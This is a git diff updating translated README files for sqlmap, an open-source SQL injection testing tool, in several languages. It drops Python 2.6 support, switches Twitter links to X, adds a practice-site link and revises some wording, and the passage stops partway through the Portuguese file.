a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,50 +1,54 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. + +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. +Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun. +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. Penggunaan ---- -Untuk mendapatkan daftar opsi dasar gunakan: +Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h -Untuk mendapatkan daftar opsi lanjut gunakan: +Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki -* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 00000000000..61aaec255f0 --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। + +चित्रसंवाद +---- + +![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। + +स्थापना +---- + +आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। + +उपयोग +---- + +मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -h + +सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। + +लिंक +---- + +* मुखपृष्ठ: https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki +* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* ट्विटर: [@sqlmap](https://x.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभ्यास स्थल: https://sekumart.sekuripy.hr +* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 1ac62cf562f..66c7e662a3b 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. @@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. +sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. Utilizzo ---- @@ -45,6 +45,7 @@ Link * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 739a8efc779..e544a9a455a 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 @@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 +sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 使用方法 ---- @@ -46,6 +46,7 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 83c2fc6e78f..419a9742545 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. @@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. +sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან. გამოყენება ---- @@ -44,6 +44,7 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 229c112f623..ab612d4afe8 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. @@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. +sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. 사용법 ---- @@ -45,6 +45,7 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* 트위터: [@sqlmap](https://twitter.com/sqlmap) +* 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레이그라운드: https://sekumart.sekuripy.hr * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index cea39991794..d04fda2abe2 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. @@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. Gebruik ---- @@ -45,6 +45,7 @@ Links * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 745af21e53d..0644def1b64 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,10 +1,10 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. +sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. -Zrzuty ekranowe +Zrzuty ekranu ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) @@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej. +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. Sposób użycia ---- @@ -33,18 +33,19 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh -Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601). -Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- * Strona projektu: https://sqlmap.org -* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues +* Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* Piaskownica: https://sekumart.sekuripy.hr +* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index a658ee0c04e..462f7497cca 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. @@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap 